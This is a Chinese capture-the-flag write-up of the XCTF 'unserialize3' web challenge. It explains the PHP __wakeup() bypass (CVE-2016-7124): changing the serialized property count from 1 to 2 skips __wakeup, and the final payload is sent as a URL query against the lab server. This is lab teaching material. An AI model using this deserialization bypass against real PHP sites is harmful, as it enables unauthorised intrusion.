攻防世界Web高手进阶区WP(unserialize3)

unserialize3

攻防世界Web高手进阶区WP(unserialize3)
打开环境,是一段代码
攻防世界Web高手进阶区WP(unserialize3)
function用于声明函数
攻防世界Web高手进阶区WP(unserialize3)
PHP 的魔术方法函数
攻防世界Web高手进阶区WP(unserialize3)
由上图可知,__wakeup()方法如果使用就是和unserialize()反序列化函数结合使用的,但是在题目代码中并没有序列化字符串。于是,我们这里实例化xctf类并对其使用序列化(这里就实例化xctf类为对象a)


<?php
class xctf{                      //定义一个名为xctf的类
public $flag = '111';            //定义一个公有的类属性$flag,值为111
public function __wakeup(){      //定义一个公有的类方法__wakeup(),输出bad requests后退出当前脚本
exit('bad requests');
}
}
$a = new xctf();           //使用new运算符来实例化该类(xctf)的对象为peak
echo(serialize($a));       //输出被序列化的对象(peak)
?>

执行php代码,结果如下:

攻防世界Web高手进阶区WP(unserialize3)

O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
/*xctf类后面有一个1,整个1表示的是xctf类中只有1个属性
__wakeup()漏洞就是与序列化字符串的整个属性个数有关。当序列化字符串所表示的对象,
其序列化字符串中属性个数大于真实属性个数时就会跳过__wakeup的执行,从而造成__wakeup()漏洞
*/

所以我们要将1改为2,构造pyload

http://111.200.241.244:53454/?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}

成功得到flag
攻防世界Web高手进阶区WP(unserialize3)
本文参考这篇文章xctf的unserialize3
感谢这位大佬

上一篇:2.level2-[本地复现]-[越过wakeup]-[CVE-2016-7124]


下一篇:聊聊 Kafka: Producer 的网络模型